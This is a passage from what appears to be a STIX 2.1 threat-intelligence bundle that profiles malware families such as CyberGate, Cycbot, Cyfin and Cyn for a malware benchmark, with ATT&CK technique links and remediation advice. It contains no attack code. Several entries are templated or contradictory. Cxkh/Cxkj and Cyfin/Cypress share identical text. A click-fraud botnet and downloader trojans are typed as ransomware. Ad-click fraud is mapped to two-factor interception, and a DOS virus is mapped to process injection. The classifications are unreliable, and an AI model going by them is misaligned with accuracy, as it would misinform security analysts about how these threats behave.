perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Cxkh executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Cxkh frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Cxkh",
        "Downloader.Cxkh",
        "Win32/Cxkh"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cxkh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cxkh"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a1bfe02-e164-596b-ac9a-e3ec0150fd6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--757f6393-e016-5544-b2a4-34872dd65205",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cxkh exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a52e1e5d-746e-5797-b1f5-fe73a5939f8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--757f6393-e016-5544-b2a4-34872dd65205",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cxkh exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79c24323-c514-559f-a186-dc8ed395b60d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--757f6393-e016-5544-b2a4-34872dd65205",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cxkh exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ded7a347-a4c5-5980-93f6-0aaaa7973ef8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cxkj",
      "description": "<h3>Executive Summary</h3>\nCxkj is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCxkj is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Cxkj operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Cxkj ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Cxkj receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cxkj infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Cxkj executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Cxkj frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Cxkj",
        "Downloader.Cxkj",
        "Win32/Cxkj"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cxkj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cxkj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aff1cb4a-85f6-5270-9685-92cfd23be3e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ded7a347-a4c5-5980-93f6-0aaaa7973ef8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cxkj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d273661-1ac4-5d0b-8b95-3d9ccecbedf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ded7a347-a4c5-5980-93f6-0aaaa7973ef8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cxkj exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79ae9978-9c52-5e5a-a821-c870711fdaad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ded7a347-a4c5-5980-93f6-0aaaa7973ef8",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cxkj exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b7c6244d-673c-5d7f-bc79-5f27b9d21a61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cybergate",
      "description": "Trojan:Win32/CyberGate is a classic, widely abused Delphi-based commercial Remote Access Trojan (RAT) that circulated extensively in the underground cybercrime ecosystem throughout the late 2000s and 2010s. Furnishing threat actors with a fully featured graphical administration console, CyberGate allows operators to execute arbitrary commands, intercept webcam and audio hardware streams, record user keystrokes in real time, scrape credentials from local web browsers and instant messengers, manipulate the system registry, and tunnel unauthorized traffic. CyberGate was heavily distributed via malicious spam containing weaponized Office documents and trojanized software downloads. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "CyberGate",
        "CyberGate RAT",
        "Trojan:Win32/CyberGate",
        "Backdoor.CyberGate",
        "Win32/CyberGate",
        "Trojan.CyberGate"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cybergate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cybergate"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e340cd46-3a7e-5b0c-83b2-76239f2e43f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7c6244d-673c-5d7f-bc79-5f27b9d21a61",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cybergate exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b915a65c-6bbb-5ea7-ad67-7bb05c321214",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7c6244d-673c-5d7f-bc79-5f27b9d21a61",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cybergate exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9cd5846-cac3-569f-8574-09d2b6033dbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7c6244d-673c-5d7f-bc79-5f27b9d21a61",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cybergate exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce75730b-e0a4-5301-8e0b-783a68a4b12e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7c6244d-673c-5d7f-bc79-5f27b9d21a61",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cybergate exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e95d55c-ae34-57a6-9c1e-3d33df5b613a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7c6244d-673c-5d7f-bc79-5f27b9d21a61",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cybergate exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e66c51a8-3fe7-5d2d-9acc-09556f6444ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7c6244d-673c-5d7f-bc79-5f27b9d21a61",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cybergate exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b66dce88-f2da-5dba-9a46-3b36b6f774f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7c6244d-673c-5d7f-bc79-5f27b9d21a61",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cybergate exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ea85fbd7-85ca-5b1a-91b5-9af933a00537",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cybernetic",
      "description": "CyberNetic is a botnet agent and Remote Access Trojan (RAT) that communicates primarily via Internet Relay Chat (IRC) networks to receive instructions from its command and control (C2) servers. Emerging during the peak popularity of IRC-based botnets, CyberNetic allows attackers to herd thousands of infected machines into coordinated networks capable of launching Distributed Denial of Service (DDoS) attacks, distributing spam, and harvesting sensitive data. Upon infection, the malware drops itself into systemic directories, ensures persistence through registry Run keys, and quietly joins a hardcoded IRC channel. The botmaster can issue commands to individual nodes or the entire botnet simultaneously. Beyond DDoS capabilities (like SYN floods and UDP floods), CyberNetic features modular components capable of downloading secondary payloads, updating itself, and acting as a proxy to mask the attackers true origin. Its reliance on plaintext IRC makes network-level detection feasible, though later variants attempted to obfuscate communications. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "IRC.CyberNetic",
        "CyberNetic Bot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cybernetic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cybernetic"
        }
      ],
      "labels": [
        "botnet",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4fa7051-c729-5784-bf25-0ec4e750d86e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea85fbd7-85ca-5b1a-91b5-9af933a00537",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cybernetic exhibits technique T1090 (Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f356f9c-3568-50db-9e4f-61ee4a87551a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea85fbd7-85ca-5b1a-91b5-9af933a00537",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cybernetic exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6b02b3d-1551-5a9c-8ec7-32a62781abe9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea85fbd7-85ca-5b1a-91b5-9af933a00537",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cybernetic exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4d259794-e2b7-5089-9581-70491003216c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cycbot",
      "description": "Backdoor:Win32/Cycbot is a notorious, highly persistent botnet agent and backdoor primarily known for executing massive click-fraud campaigns and hijacking search engine results. Initially discovered around 2010, Cycbot infects endpoints to forcefully route the victim's web traffic through attacker-controlled proxies, generating illicit revenue by simulating clicks on paid advertisements and acting as a conduit for secondary malware.<br><br><b>Understanding the Cycbot Botnet</b><br>To an end-user, a Cycbot infection manifests as severe browser instability, dramatically slowed internet speeds, and the constant redirection of their Google or Bing searches to irrelevant, ad-heavy websites. For a security analyst, Cycbot represents a severe compromise of network integrity. The malware effectively Man-in-the-Middles (MitM) the endpoint's web traffic, exposing the organization to data interception and acting as a persistent backdoor that the botmaster can use to deploy ransomware later.<br><br><b>Execution and Interception Mechanics</b><br>Cycbot is typically distributed via exploit kits or bundled with rogue software. Upon execution, it injects itself deeply into the `explorer.exe` process (`T1055`) to evade detection and establish a footprint. It ensures persistence by creating complex, randomly named Registry Run keys (`T1547.001`). The core functionality involves acting as a local proxy (`T1090`). Cycbot modifies the Windows network settings and hooks browser APIs (`T1185`) to intercept all HTTP/HTTPS traffic. When a user searches for a term, Cycbot queries its Command and Control (C2) server (`T1071.001`), which replies with a list of monetized URLs. Cycbot then seamlessly redirects the user's browser to these URLs, simulating legitimate ad clicks (`T1111`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a degraded user experience, massive generation of fraudulent web traffic, and the potential for credential interception. Incident responders will observe anomalous outbound network traffic on standard web ports connecting to known Cycbot C2 infrastructure. Host-based IoCs include EDR alerts for process injection into `explorer.exe` and unauthorized modifications to the system's local proxy settings (e.g., altering the `ProxyServer` registry key). (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cycbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cycbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e3a0a36-2826-5265-a37e-9db091ade854",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d259794-e2b7-5089-9581-70491003216c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cycbot exhibits technique T1055 (Process Injection (Injecting into explorer.exe))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17efd367-e227-52c5-8a59-80d76275b728",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d259794-e2b7-5089-9581-70491003216c",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cycbot exhibits technique T1185 (Browser Session Hijacking (Intercepting search queries))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc2f670c-bc40-5861-ad6d-6a21066ec3ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d259794-e2b7-5089-9581-70491003216c",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cycbot exhibits technique T1090 (Proxy (Acting as a local proxy to route traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d977318-2320-50be-a217-29589a9854e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d259794-e2b7-5089-9581-70491003216c",
      "target_ref": "attack-pattern--510c8478-024c-53be-b9d9-53f9b7c3bc2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cycbot exhibits technique T1111 (Two-Factor Authentication Interception (Potentially intercepting secure traffic))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3625398d-a0b9-57b1-9298-df87b93c7a29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cyfin",
      "description": "Trojan:Win32/Cyfin is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cyfin</b><br>To an end-user, a Cyfin infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cyfin is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cyfin is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cyfin frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cyfin reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cyfin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cyfin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a256eda-5d21-5ac4-acdd-cad856e6c71a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3625398d-a0b9-57b1-9298-df87b93c7a29",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cyfin exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45b09079-8c09-50d7-a07c-80cf82c9b2f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3625398d-a0b9-57b1-9298-df87b93c7a29",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cyfin exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2510ad84-b712-5b5a-a618-5ffc55671c42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3625398d-a0b9-57b1-9298-df87b93c7a29",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cyfin exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac55625c-4ac2-52ce-9fdf-e8d86f4e28dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3625398d-a0b9-57b1-9298-df87b93c7a29",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cyfin exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1d38fa6-a197-58b2-9529-f54cb1f09a56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3625398d-a0b9-57b1-9298-df87b93c7a29",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cyfin exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1e831562-1cd1-5b33-9e41-61255bf88208",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cyn",
      "description": "Cyn (cataloged across classical antivirus telemetry as Virus:DOS/Cyn and Virus:Win32/Cyn) is an early parasitic file infector originally engineered for MS-DOS environments and later observed impacting legacy 16-bit and 32-bit execution layers. The virus is implemented in concise x86 assembly, attaching its replication routine directly to uninfected .COM and .EXE host binaries within the active directory and system search paths. When an infected host executable is invoked, the virus intercepts program control at the entry point, traverses local file systems to locate target executables, and splices its parasitic code into the binary header or trailing slack space before returning execution to the legitimate application logic. While Cyn does not incorporate intentional data-destructive wiping mechanisms, rudimentary error-handling and improper relocations in certain variants frequently cause binary corruption, structural header misalignment, and unexpected system crashes. Cyn represents early parasitic replication techniques and is completely mitigated by modern operating system integrity controls and signature heuristics. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "DOS.Cyn",
        "Virus.DOS.Cyn.446",
        "Virus:Win32/Cyn",
        "Cyn.446",
        "Cyn.512"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cyn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cyn"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83c061fe-6171-5387-808e-47ceddf2eebd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e831562-1cd1-5b33-9e41-61255bf88208",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cyn exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--548bc5fc-1863-546f-b898-28953200e32f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e831562-1cd1-5b33-9e41-61255bf88208",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cyn exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7886a3ee-9274-5b11-b06a-ab25432866fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e831562-1cd1-5b33-9e41-61255bf88208",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cyn exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a5e1e7c4-a4b5-5f16-ae22-52d7374f68cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cypress",
      "description": "Trojan:Win32/Cypress is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cypress</b><br>To an end-user, a Cypress infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cypress is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cypress is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled 